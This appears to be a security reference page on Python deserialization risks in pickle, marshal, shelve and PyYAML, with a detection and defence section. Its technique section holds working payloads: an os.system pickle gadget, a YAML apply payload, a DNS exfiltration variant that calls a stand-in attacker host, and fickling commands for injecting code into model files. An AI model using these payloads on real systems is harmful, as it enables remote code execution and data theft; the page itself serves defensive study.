Python Deserialization Sinks
TL;DR:
pickle,marshal,shelve, andyaml.unsafe_loadall execute arbitrary callables at load time via__reduce__, turning any byte stream from an attacker into code execution.
What it is
Pickle is documented as unsafe but ships in nearly every Python web app: session stores, Celery task payloads, ML model checkpoints, and “fast” caches. The __reduce__ protocol lets an object declare a callable plus arguments that the unpickler will invoke verbatim. marshal and shelve share the same risk surface; PyYAML’s default loader was unsafe until 5.1.
Preconditions / where it applies
pickle.loads,pickle.load,cPickle.loads,dill.loads,joblib.load,torch.load(..., weights_only=False)yaml.load(stream)withoutLoader=SafeLoaderon PyYAML <5.1, or anyyaml.unsafe_loadshelve.openon attacker-supplied DB files;marshal.loadsfor.pyc-style payloads- Reachability: signed-but-leaked Flask cookies, Celery broker, Redis cache with mixed tenants
Technique
Build a minimal __reduce__ gadget, no extra modules required.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pwn",))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
# YAML equivalent on unsafe_load
yaml_payload = """
!!python/object/apply:os.system ["id"]
"""
# blind variant: no stdout — exfil via DNS
class Blind:
def __reduce__(self):
return (eval, ("__import__('socket').gethostbyname('a.attacker.tld')",))
# fickling helps audit and craft
# pip install fickling
# fickling --check suspicious.pkl
# fickling --inject 'print("rce")' model.pkl > evil.pkl
For sandboxed unpicklers that override find_class, look for any allowed class whose __init__ writes to disk or whose module exposes eval — the find_class allowlist is brittle.
Detection and defence
- Replace with
json,msgpack, orast.literal_evalfor trust-boundary data yaml.safe_loadonly; pin PyYAML and add a CI check- For models,
torch.load(..., weights_only=True)(Torch 2.4+) andsafetensorsfor HF - Sign payloads (HMAC) at the producer and verify before unpickling; rotate the key
- Audit hook on
pickle.find_classand alert on unexpected modules - Static scan with
fickling --checkin CI for any committed.pkl
References
- pickle — Python docs warning — explicit “do not unpickle untrusted data”
- Fickling — Trail of Bits — pickle decompiler and linter
See also: python-dangerous-sinks, ruby-deserialization-audit, nodejs-prototype-pollution-audit.